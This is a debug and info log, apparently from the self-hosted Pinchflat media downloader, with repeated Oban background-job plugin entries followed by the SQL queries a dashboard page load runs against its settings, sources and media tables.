{"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.576 [info] {"source":"oban","duration":2332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:15.868 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:45.871 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.578 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:15.873 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:45.875 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.580 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:15.877 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:45.879 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.581 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:15.881 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:45.883 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.582 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:15.885 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:45.887 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.583 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:15.889 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:45.891 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.584 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:15.893 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:45.895 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.585 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:15.898 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:45.900 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.590 [info] {"source":"oban","duration":4635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:15.902 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:45.904 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.592 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:15.906 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:45.908 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.593 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:15.910 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:45.912 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.594 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:15.914 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:45.916 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.595 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:15.918 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:45.920 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.596 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:15.922 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:45.924 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.598 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:15.926 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:45.928 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.599 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:15.930 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:45.932 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.600 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:15.934 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:45.936 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.601 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:15.937 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:45.940 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.602 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:15.941 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:45.944 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.604 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:15.946 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:45.948 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.605 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:15.950 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:45.952 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.606 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:15.954 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:45.956 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.607 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:15.958 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:45.960 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.608 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:15.963 [info] {"source":"oban","duration":1814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:45.965 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.609 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:15.967 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:45.969 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.610 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:15.971 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:45.973 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.611 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:15.975 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:45.978 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.612 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:15.980 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:45.982 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.614 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:15.984 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:45.988 [info] {"source":"oban","duration":3005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.616 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:15.989 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:45.991 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.619 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:15.993 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:45.996 [info] {"source":"oban","duration":2235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.620 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:15.998 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:46.001 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.622 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:16.004 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:46.006 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.623 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:16.008 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:46.010 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.624 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:16.012 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:46.014 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.626 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:16.016 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:46.018 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.627 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:16.020 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:46.022 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.628 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:16.024 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:46.027 [info] {"source":"oban","duration":1937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.629 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:16.029 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:17.950 [info] GET / 22:24:17.950 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:24:17.951 [info] GET / 22:24:17.951 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:24:17.951 [debug] QUERY OK source="settings" db=0.9ms idle=298.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:17.952 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=299.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:17.952 [debug] QUERY OK source="media_profiles" db=0.7ms idle=299.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:24:17.953 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=300.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:24:17.953 [debug] QUERY OK source="sources" db=0.7ms idle=256.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:24:17.954 [debug] QUERY OK source="sources" db=1.0ms idle=1.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:24:17.955 [debug] QUERY OK source="media_items" db=1.9ms idle=1.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:24:17.956 [debug] QUERY OK source="media_items" db=0.9ms queue=0.7ms idle=1.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:24:17.957 [debug] QUERY OK source="media_items" db=1.5ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:24:17.958 [debug] QUERY OK source="media_items" db=2.0ms queue=0.6ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:24:17.959 [debug] QUERY OK source="settings" db=0.7ms queue=1.4ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:17.960 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:17.960 [debug] QUERY OK source="settings" db=0.8ms queue=0.3ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:17.962 [debug] QUERY OK source="settings" db=2.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:17.962 [debug] QUERY OK source="settings" db=2.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:17.965 [debug] QUERY OK source="settings" db=1.0ms queue=0.8ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:17.967 [debug] QUERY OK source="tasks" db=2.2ms queue=0.4ms idle=5.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:24:17.968 [debug] QUERY OK source="tasks" db=3.0ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:24:17.969 [debug] QUERY OK source="media_items" db=1.0ms idle=5.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:24:17.970 [debug] QUERY OK source="media_items" db=1.3ms idle=6.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:24:17.971 [debug] QUERY OK source="media_items" db=1.1ms queue=0.3ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:24:17.972 [debug] QUERY OK source="media_items" db=2.1ms queue=0.5ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:24:17.973 [debug] QUERY OK source="media_items" db=1.5ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:24:17.973 [debug] QUERY OK source="media_items" db=1.3ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:24:17.976 [debug] QUERY OK source="media_items" db=1.9ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:24:17.976 [debug] QUERY OK source="media_items" db=2.2ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:24:17.977 [debug] QUERY OK source="sources" db=0.9ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 